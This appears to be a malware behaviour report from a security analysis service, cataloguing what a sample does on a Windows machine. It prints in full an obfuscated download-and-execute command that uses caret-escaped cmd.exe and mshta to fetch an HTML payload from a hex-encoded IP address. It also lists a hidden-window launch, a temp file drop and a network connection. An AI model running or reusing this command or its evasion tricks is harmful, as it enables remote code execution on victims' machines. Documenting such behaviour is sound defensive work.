Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
Modifies file system
Creates the following files
- C:\Documents\user\locals~1\temp\~dfc0ef.tmp
Network activity
Connects to
- '18#.7.214.7':80
Miscellaneous
Searches for the following windows
- ClassName: 'MsoHelp11' WindowName: ''
- ClassName: 'AgentAnim' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l' (with hidden window)
Executes the following
- '<SYSTEM32>\mshta.exe' http://0xb907d607/cc.html
